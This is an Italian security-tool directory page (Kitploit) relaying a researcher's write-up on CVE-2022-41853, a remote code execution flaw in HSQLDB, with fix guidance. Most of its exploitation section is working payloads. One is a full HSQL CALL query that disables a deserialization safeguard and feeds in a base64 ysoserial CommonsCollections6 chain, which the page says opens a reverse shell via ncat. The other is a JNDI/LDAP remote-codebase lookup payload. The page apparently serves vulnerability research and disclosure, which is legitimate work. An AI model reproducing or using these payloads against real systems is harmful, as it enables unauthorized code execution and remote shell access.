Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-41853 — Ricerca su CVE-2022-41853: Utilizzo di funzioni statiche per ottenere RCE tramite deserializzazione Java e attacco al codebase remoto | Kitploit
Strumenti/GitHubGitHub/mbadanoiu/cve-2022-41853
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubmbadanoiu/cve-2022-41853

CVE-2022-41853

Ricerca su CVE-2022-41853: Utilizzo di funzioni statiche per ottenere RCE tramite deserializzazione Java e attacco al codebase remoto

Vedi Repository
2112 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ricerca su CVE-2022-41853: Utilizzo di funzioni statiche per ottenere RCE tramite deserializzazione Java e attacco Remote Codebase

Coloro che utilizzano java.sql.Statement o java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) per elaborare input non attendibili potrebbero essere vulnerabili a un attacco di esecuzione remota di codice. Per impostazione predefinita è consentito chiamare qualsiasi metodo statico di qualsiasi classe Java nel classpath, con conseguente esecuzione di codice. Il problema può essere evitato aggiornando alla versione 2.7.1 oppure impostando la proprietà di sistema "hsqldb.method_class_names" sulle classi a cui è consentito effettuare chiamate. Ad esempio, è possibile utilizzare System.setProperty("hsqldb.method_class_names", "abc") o l'argomento Java -Dhsqldb.method_class_names="abc". Dalla versione 2.7.1, per impostazione predefinita tutte le classi non sono accessibili, tranne quelle in java.lang.Math, e devono essere abilitate manualmente.

Divulgazione:

La divulgazione iniziale di questa vulnerabilità si trova qui.

Scopritore originale

Team OSS-Fuzz
https://github.com/google/oss-fuzz

Prova di concetto:

Nel 2021, stavo leggendo il post del blog "Remote Code Execution in F5 Big‑IP" di Mikhail Klyuchnikov su come un attacco di normalizzazione dei percorsi + query HSQL "CALL" potessero essere utilizzate per chiamare metodi statici Java arbitrari al fine di ottenere RCE.

Poiché, all'epoca, stavo segnalando e ricercando vulnerabilità in Apache SOLR, mi sono ricordato che il loro esempio JDBC Stream utilizza HSQL e mi sono messo a configurare l'ambiente di test. Schermata 2023-11-24 alle 12 51 49

Nota: Purtroppo, questa vulnerabilità non interessa i server Apache Solr predefiniti, poiché il JAR HSQL deve essere posizionato specificamente nella cartella “./server/solr-webapp/webapp/WEB-INF/lib/” affinché il driver sia raggiungibile dal componente Stream JDBC.

RCE tramite deserializzazione Java

Poiché l'RCE in F5 utilizza la funzione "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" situata in "tmui.jar" (un JAR specifico delle applicazioni F5), e volevo creare un payload indipendente dall'applicazione, ho iniziato a cercare come combinare JAR comunemente usati (ad es. Apache Commons Collections, Apache Log4J) per chiamare funzioni statiche e ottenere RCE.

Poiché i gadget CommonsCollections* di ysoserial sono stati la prima cosa che mi è venuta in mente, ho seguito la strada della deserializzazione Java con i seguenti risultati:

  • Chiamare java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') per abilitare la deserializzazione non sicura (Perché bypassare quando si può rimuovere del tutto una salvaguardia :)) )
  • Usare public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) come sink per il nostro input, in modo da raggiungere la funzione ObjectInputStream(x).readObject()
  • Usare le funzioni public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) o public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) per trasformare la stringa del payload ysoserial codificata in un array di byte che verrà ingerito da deserialize(byte[] objectData)

Il payload HSQL completo ha la seguente forma:

root@kitploit:~
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))

Nota: In questo caso il payload ysoserial è di tipo CommonsCollection6 ed eseguirà il comando di reverse shell ncat -e /bin/bash 127.1 4444.

Nota 2: Il JAR HSQLDB.jar standalone non è vulnerabile a questo payload perché non include il JAR Apache Commons Collections. Questa vulnerabilità funziona (la maggior parte delle volte) quando HSQL è incluso in un'applicazione web (ad es. SOLR, Liferay, ecc.)

Ulteriori dettagli e il processo di sfruttamento sono disponibili in questo PDF.

RCE tramite attacco Remote Codebase su LDAP o RMI

Approfondendo questo argomento nel 2023, mi sono imbattuto in questa fantastica presentazione Exploring JNDI Attacks di iSafeBlue che utilizzava java.lang.System.setProperty per impostare com.sun.jndi.ldap.object.trustURLCodebase o com.sun.jndi.rmi.object.trustURLCodebase a true e quindi eseguire una lookup LDAP/RMI per portare a termine con successo un attacco Java Remote Codebase.

Esempio di payload HSQL:

root@kitploit:~
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')

Risultato: Schermata 2023-11-24 alle 13 28 00

Nota: Per ragioni sconosciute, questa vulnerabilità funziona sul file HSQLDB.jar predefinito, ma non funziona nell'ambiente HSQL + Apache SOLR ¯\_(ツ)_/¯.

Scarica lo strumento